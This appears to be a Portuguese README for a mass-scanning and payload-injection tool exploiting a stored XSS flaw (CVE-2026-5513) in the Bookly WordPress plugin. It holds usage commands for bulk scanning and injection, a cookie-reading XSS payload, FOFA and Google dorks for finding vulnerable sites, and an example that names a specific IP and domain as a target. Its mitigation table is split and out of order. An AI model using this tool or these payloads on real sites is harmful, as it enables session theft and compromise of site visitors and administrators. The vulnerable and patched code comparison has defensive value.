
CVE-2026-5513: Bookly <= 27.2 Stored XSS via Cookie (Unauthenticated)
| Campo | Valor |
|---|---|
| CVE ID | CVE-2026-5513 |
| Vulnerabilidade | Cross-Site Scripting Armazenado (XSS) |
| Plugin | Bookly — Sistema de Agendamento e Reserva de Compromissos Online |
| Afetado | ≤ 27.2 |
| Corrigido | 27.3+ |
| CVSS 3.1 | 7.2 (Alto) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| CWE | CWE-79 |
| Autenticação Necessária | Nenhuma |
| Pré-requisito | Lembrar informações pessoais em cookies deve estar ativado (desativado por padrão) |
O plugin Bookly para WordPress é vulnerável a Cross-Site Scripting Armazenado através do cookie bookly-customer-full-name nas versões até 27.2 devido à sanitização insuficiente de entrada e escape de saída.
Quando a configuração "Lembrar informações pessoais em cookies" está ativada, o plugin lê o valor do cookie bookly-customer-full-name e o renderiza diretamente no HTML do formulário de agendamento sem escape adequado. Um atacante não autenticado pode injetar payloads JavaScript arbitrários através deste cookie que são executados sempre que qualquer usuário (incluindo administradores) visita uma página que contenha o formulário de agendamento do Bookly.
Attacker → Set malicious cookie (bookly-customer-full-name=<script>...</script>)
→ Visit page with Bookly booking form
→ Plugin reads cookie, renders value without escaping
→ XSS payload executes in victim's browser context
// VULNERABLE — Bookly ≤ 27.2
$full_name = $_COOKIE['bookly-customer-full-name']; // No sanitization
echo '<input type="text" value="' . $full_name . '" />'; // No escaping
// PATCHED — Bookly 27.3+
$full_name = sanitize_text_field($_COOKIE['bookly-customer-full-name']);
echo '<input type="text" value="' . esc_attr($full_name) . '" />';
✓ Sondagem automática de IP/Domínio (HTTP/HTTPS, portas comuns, detecção de redirecionamento)
✓ Detecção do WordPress e do plugin Bookly com verificação de versão
✓ Detecção de configuração de cookie (análise JS BooklyL10n + reflexão canário)
✓ Teste de XSS em múltiplos contextos (HTML, JavaScript, injeção de atributos)
✓ Injeção de payload com verificação de reflexão
✓ Alvo único ou varredura em massa a partir de arquivo
✓ Varredura multi-thread (até 20 threads)
✓ Suporte a proxy (Burp, etc.)
✓ Salvamento automático de resultados vulneráveis
✓ Modos de menu interativo + CLI
pip install requests colorama
# Check single target
python CVE-2026-5513.py -u https://target.com -v
# Check single IP (auto-probe ports + redirects)
python CVE-2026-5513.py -u 167.99.0.203 -v
# Check + inject XSS payload
python CVE-2026-5513.py -u https://target.com --inject -v
# Custom XSS payload
python CVE-2026-5513.py -u https://target.com --inject --payload "<svg onload=alert(document.cookie)>"
# Mass scan from file
python CVE-2026-5513.py -l targets.txt -t 20 -o vuln.txt
# With Burp proxy
python CVE-2026-5513.py -u https://target.com -v --proxy http://127.0.0.1:8080
python CVE-2026-5513.py
A ferramenta aceita qualquer um destes formatos em -u ou no arquivo de lista de alvos:
https://example.com
http://example.com
example.com
192.168.1.100
192.168.1.100:8080
Para IPs nus, a ferramenta automaticamente:
167.99.0.203 → https://book.repairrite.com)/wp/, /blog/, /wordpress/, etc.)PASSO 0 → Sondar alvo (IP/domínio → resolver URL base, detectar redirecionamentos)
PASSO 1 → Detectar plugin Bookly (readme.txt, diretório do plugin, assets, verificação de versão)
PASSO 2 → Verificar configuração do cookie (análise JS BooklyL10n + teste de reflexão canário)
PASSO 3 → Testar reflexão XSS (contexto HTML, contexto JS, contexto de atributo)
PASSO 4 → Injetar payload (se modo --inject, verificar reflexão)
# FOFA
body="bookly-responsive-appointment-booking-tool"
body="bookly-customer-full-name"
body="bookly-form-group" && body="wp-content/plugins/bookly"
# Google
inurl:"/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt"
intitle:"Book Appointment" inurl:"booking" intext:"bookly"
| Prioridade | Ação |
|---|---|
| 🔴 | Atualizar o Bookly para a versão 27.3+ |
| 🟡 | Desativar "Lembrar informações pessoais em cookies" em Configurações do Bookly → Geral |
| 🟢 |
Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. Sempre obtenha a devida autorização antes de testar. O autor não se responsabiliza pelo uso indevido desta ferramenta.
MIT
| Flag | Descrição |
|---|
-u URL | Alvo único (URL, domínio ou IP) |
-l FILE | Arquivo com lista de alvos (um por linha) |
--inject | Injetar payload XSS (padrão: apenas verificar) |
--payload STR | Payload XSS personalizado |
-t N | Número de threads (padrão: 10, máximo: 20) |
--proxy URL | Proxy HTTP (ex.: http://127.0.0.1:8080) |
-o FILE | Salvar resultados em arquivo |
-v | Saída detalhada |
| Implementar regras de WAF para filtrar XSS em valores de cookie |
| 🟢 | Implementar cabeçalhos de Política de Segurança de Conteúdo (CSP) |